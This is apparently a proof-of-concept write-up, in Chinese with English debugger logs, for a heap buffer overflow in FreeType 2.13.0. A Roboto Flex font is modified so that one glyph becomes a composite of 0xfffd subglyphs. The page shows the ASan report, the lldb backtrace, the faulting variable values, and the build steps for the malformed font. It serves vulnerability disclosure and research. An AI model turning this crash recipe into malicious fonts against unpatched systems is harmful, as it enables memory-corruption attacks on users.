此验证修改了 Roboto Flex（一个可变字体），使得 "%" 字符（字形 8）现在变为一个包含 0xfffd 个子字形的复合字形。
使用 FreeType 2.13.0（修复 前的最后一个版本）渲染编辑后的字体会导致崩溃，ASAN 在 load_truetype_glyph 中检测到堆缓冲区溢出：
$ lldb ../repos2/freetype-demos/build2/ftmulti -- ./rf2.ttf
(lldb) target create "../repos2/freetype-demos/build2/ftmulti"
Current executable set to '/Users/zhuowei/Documents/winprogress/freetype/repos2/freetype-demos/build2/ftmulti' (arm64).
(lldb) settings set -- target.run-args "./rf2.ttf"
(lldb) run
Process 15657 launched: '/Users/zhuowei/Documents/winprogress/freetype/repos2/freetype-demos/build2/ftmulti' (arm64)
ftmulti(15657,0x1fb350840) malloc: nano zone abandoned due to inability to reserve vm space.
cannot open X11 display
FreeType Glyph Viewer - press ? for help
=================================================================
==15657==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000980 at pc 0x000100ec9cf0 bp 0x00016fdfc630 sp 0x00016fdfbde0
WRITE of size 16 at 0x602000000980 thread T0
#0 0x100ec9cec in __asan_memcpy+0x440 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x51cec)
#1 0x100117dbc in load_truetype_glyph ttgload.c:1929
#2 0x100111678 in TT_Load_Glyph ttgload.c:2933
#3 0x1000c8440 in tt_glyph_load ttdriver.c:484
#4 0x1000774d4 in FT_Load_Glyph ftobjs.c:1065
#5 0x10000b6d4 in LoadChar ftmulti.c:382
#6 0x10000a0b8 in Render_All ftmulti.c:410
#7 0x10000780c in main ftmulti.c:1168
#8 0x191660270 (<unknown module>)
0x602000000980 is located 0 bytes after 16-byte region [0x602000000970,0x602000000980)
allocated by thread T0 here:
#0 0x100eccc04 in malloc+0x94 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x54c04)
#1 0x1003f0230 in ft_alloc ftsystem.c:113
#2 0x100098fbc in ft_mem_qrealloc ftutil.c:145
#3 0x10007dfa0 in ft_mem_realloc ftutil.c:101
#4 0x100117848 in load_truetype_glyph ttgload.c:1909
#5 0x100111678 in TT_Load_Glyph ttgload.c:2933
#6 0x1000c8440 in tt_glyph_load ttdriver.c:484
#7 0x1000774d4 in FT_Load_Glyph ftobjs.c:1065
#8 0x10000b6d4 in LoadChar ftmulti.c:382
#9 0x10000a0b8 in Render_All ftmulti.c:410
#10 0x10000780c in main ftmulti.c:1168
#11 0x191660270 (<unknown module>)
SUMMARY: AddressSanitizer: heap-buffer-overflow (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x51cec) in __asan_memcpy+0x440
Shadow bytes around the buggy address:
0x602000000700: fa fa 00 fa fa fa 00 fa fa fa 04 fa fa fa 00 04
0x602000000780: fa fa 00 06 fa fa 00 fa fa fa fa fa fa fa 00 00
0x602000000800: fa fa 04 fa fa fa 04 fa fa fa fa fa fa fa 04 fa
0x602000000880: fa fa 04 fa fa fa 00 fa fa fa fa fa fa fa 00 fa
0x602000000900: fa fa 00 00 fa fa 02 fa fa fa 01 fa fa fa 00 00
=>0x602000000980:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x602000000a00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x602000000a80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x602000000b00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x602000000b80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x602000000c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==15657==ABORTING
(lldb) AddressSanitizer report breakpoint hit. Use 'thread info -s' to get extended information about the report.
Process 15657 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = Heap buffer overflow
frame #0: 0x0000000100ed71a8 libclang_rt.asan_osx_dynamic.dylib`__asan::AsanDie()
libclang_rt.asan_osx_dynamic.dylib`__asan::AsanDie:
-> 0x100ed71a8 <+0>: pacibsp
0x100ed71ac <+4>: stp x20, x19, [sp, #-0x20]!
0x100ed71b0 <+8>: stp x29, x30, [sp, #0x10]
0x100ed71b4 <+12>: add x29, sp, #0x10
Target 0: (ftmulti) stopped.
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = Heap buffer overflow
* frame #0: 0x0000000100ed71a8 libclang_rt.asan_osx_dynamic.dylib`__asan::AsanDie()
frame #1: 0x0000000100ef27a0 libclang_rt.asan_osx_dynamic.dylib`__sanitizer::Die() + 192
frame #2: 0x0000000100ed509c libclang_rt.asan_osx_dynamic.dylib`__asan::ScopedInErrorReport::~ScopedInErrorReport() + 1032
frame #3: 0x0000000100ed43d8 libclang_rt.asan_osx_dynamic.dylib`__asan::ReportGenericError(unsigned long, unsigned long, unsigned long, unsigned long, bool, unsigned long, unsigned int, bool) + 1456
frame #4: 0x0000000100ec9d10 libclang_rt.asan_osx_dynamic.dylib`__asan_memcpy + 1124
frame #5: 0x0000000100117dc0 ftmulti`load_truetype_glyph(loader=0x000000016fdfd8a0, glyph_index=8, recurse_count=0, header_only='\0') at ttgload.c:1929:31
frame #6: 0x000000010011167c ftmulti`TT_Load_Glyph(size=0x0000616000000680, glyph=0x00006120000004c0, glyph_index=8, load_flags=0) at ttgload.c:2933:13
frame #7: 0x00000001000c8444 ftmulti`tt_glyph_load(ttslot=0x00006120000004c0, ttsize=0x0000616000000680, glyph_index=8, load_flags=0) at ttdriver.c:484:13
frame #8: 0x00000001000774d8 ftmulti`FT_Load_Glyph(face=0x000061b000000780, glyph_index=8, load_flags=0) at ftobjs.c:1065:15
frame #9: 0x000000010000b6d8 ftmulti`LoadChar(idx=8, hint=1) at ftmulti.c:382:12
frame #10: 0x000000010000a0bc ftmulti`Render_All(first_glyph=0, pt_size=64) at ftmulti.c:410:23
frame #11: 0x0000000100007810 ftmulti`main(argc=1, argv=0x000000016fdff5c0) at ftmulti.c:1168:11
frame #12: 0x0000000191660274 dyld`start + 2840
(lldb) up 5
frame #5: 0x0000000100117dc0 ftmulti`load_truetype_glyph(loader=0x000000016fdfd8a0, glyph_index=8, recurse_count=0, header_only='\0') at ttgload.c:1929:31
1926 }
1927
1928 points[i++] = loader->pp1;
-> 1929 points[i++] = loader->pp2;
1930 points[i++] = loader->pp3;
1931 points[i ] = loader->pp4;
1932
(lldb) print limit
(short) -3
(lldb) print i
(short) 2
(lldb) print points
(FT_Vector *) 0x0000602000000970
(lldb) print loader->pp2
(FT_Vector) (x = 1848, y = 0)
构建：
brew install wget fonttools p7zip
./download_roboto_flex.sh
./buildfont.sh